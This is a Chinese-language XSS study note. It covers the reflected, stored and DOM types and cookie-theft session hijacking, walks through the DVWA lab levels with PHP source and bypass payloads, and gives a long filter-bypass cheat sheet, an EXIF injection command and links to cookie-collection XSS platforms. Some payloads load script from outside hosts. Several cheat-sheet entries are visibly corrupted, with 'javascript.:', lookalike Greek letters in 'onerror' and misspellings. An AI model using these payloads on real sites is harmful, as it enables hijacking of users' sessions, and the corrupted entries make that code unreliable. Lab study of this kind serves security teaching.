XSS
XSS,跨站脚本,Cross-site scripting。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
漏洞成因
当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。
类型
XSS大致可分为反射、存储、DOM三种类型。
- 反射型:攻击代码在URL里,输出在HTTP响应中
- 存储型:攻击代码在数据库里,输出在HTTP响应中
- DOM型:攻击代码在URL里,输出在DOM节点中。
整体攻击思路
角色定义:用户、攻击者、正常服务器、恶意服务器
- 攻击者发送带有XSS的恶意URL给用户
- 用户点击URL,访问正常服务器
- 正常服务器返回了对XSS脚本的响应
- 在用户不知情的情况下,用户浏览器执行了返回的XSS脚本,发送会话给恶意服务器
- 攻击者从恶意服务器中接受的请求中获取了会话信息(Cookie等)
- 攻击者使用用户的身份,登录到正常服务器,相当于劫持了用户会话
img
DVWA靶场xss练习
反射型
low
1 2 3 4 5 6 7 8 9 10 11
| <?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }
?>
|
没有任何过滤
payload:
<script>alert(/xss/)</script>
medium
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $name = str_replace( '<script>', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
?>
|
<script>过滤1次。
payload:
<scr<script>ipt>alert(/xss/)</script>
<ScRiPt>alert(/xss/)</script>
high
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
?>
|
匹配<、s、c、r、i、p、t、>字符
payload:
<img src=x onerror=alert(1)>
<iframe onload=alert(1)>
impossible
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
generateSessionToken();
?>
|
htmlspecialchars()转义特殊字符(默认不转义',但是这里是转义的了)
1 2 3 4 5
| &----& "-----" '------' <-----< >----->
|
转义后无法解析为html元素,无法xss
存储型
存储型跟反射型的利用基本一致。但是存储型的XSS会存在数据库,弹窗会一直存在
low
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
|
trim过滤预定义字符(\t、\n等),mysqli_real_escape_string过滤'、"、\x00、\n等
但没怎么过滤xss语句直接插入数据库中
payload:
<script>alert(/xss/)</script>
medium
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
|
对$message做了htmlspecialchars()限制,但是对$name未作过多的限制,只使用了str_replace()过滤字符<script>
payload:
<ScRiPt>alert(/xss/)</script>
high
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
|
对$message做了htmlspecialchars()限制,但是对$name未作过多的限制,只使用了str_replace()过滤字符<、s、c、r、i、p、t、>
payload:
<img src=x onerror=alert(1)>
impossible
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message );
$name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name );
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); }
generateSessionToken();
?>
|
两个参数都用了htmlspecialchars()和mysql_real_escape_string()
安全
漏洞修复
- 用户端的输入
输入过滤 推荐白名单,不推荐黑名单,在服务端做。
- 用户端的输出
输出过滤(重点) 推荐HTML编码和JS转义。
常见XSS题型
- 无过滤
?a=<script>alert(1)</script>
- escape()函数过滤
?a=';alert(1);//或?a=';alert(1);'
- javascript重定向与伪链接
?a=javascript:alert(1)
- AngularJS沙箱绕过
如果使用了AngularJS框架(version1.2-1.5)
如果payload:?a=4传回值4,说明可能存在XSS
构造payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
- bypass_csp
参考https://xz.aliyun.com/t/9254#toc-6
xss语句
弹窗函数
1 2 3
| alert() confirm() prompt()
|
一些绕过方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <img src=1 οnerrοr=alert(1)> <script>alert(1)</script> <script>alert(/1/)</script> "/><svg/οnlοad=prompt(/1/);> <input id="aaa" type="text" value="输出点"> >"'><img src="javascript.:alert('XSS')"> >"'><script>alert('XSS')</script> <table background='javascript.:alert(([code])'></table> <object type=text/html data='javascript.:alert(([code]);'></object> "+alert('XSS')+" '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script>alert('Vulnerable')</script> a.jsp/<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> <IMG SRC="javascript.:alert('XSS');"> <IMG src="/javascript.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"("XSS")> <IMG SRC="jav	ascript.:alert('XSS');"> <IMG SRC="jav
ascript.:alert('XSS');"> <IMG SRC="jav
ascript.:alert('XSS');"> "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out <IMG SRC=" javascript.:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript.:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript.:alert('XSS')"> <IMG LOWSRC="javascript.:alert('XSS')"> <BGSOUND SRC="javascript.:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet"HREF="javascript.:alert('XSS');"> <IMG SRC='vbscript.:msgbox("XSS")'> <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');"> <IFRAME. src="/javascript.:alert"('XSS')></IFRAME> <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript.:alert('XSS')"> <DIV STYLE="background-image: url(javascript.:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE. TYPE="text/javascript">alert('XSS');</STYLE> <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE> <BASE HREF="javascript.:alert('XSS');//">
|
特殊利用
获取Cookie
PDF-XSS
https://github.com/ynsmroztas/pdfsvgxsspayload
svg-XSS
https://github.com/ynsmroztas/pdfsvgxsspayload
EXIF-XSS
1
| exiftool -artist='"<img src=1 onerrror=alert(/xss/)>' test.jpg
|
文件上传XSS
工具
XSS平台
https://xsshs.cn/ https://xss.pt/ http://xsscom.com
XSStrike
https://github.com/s0md3v/XSStrike
xsscrapy
https://github.com/DanMcInerney/xsscrapy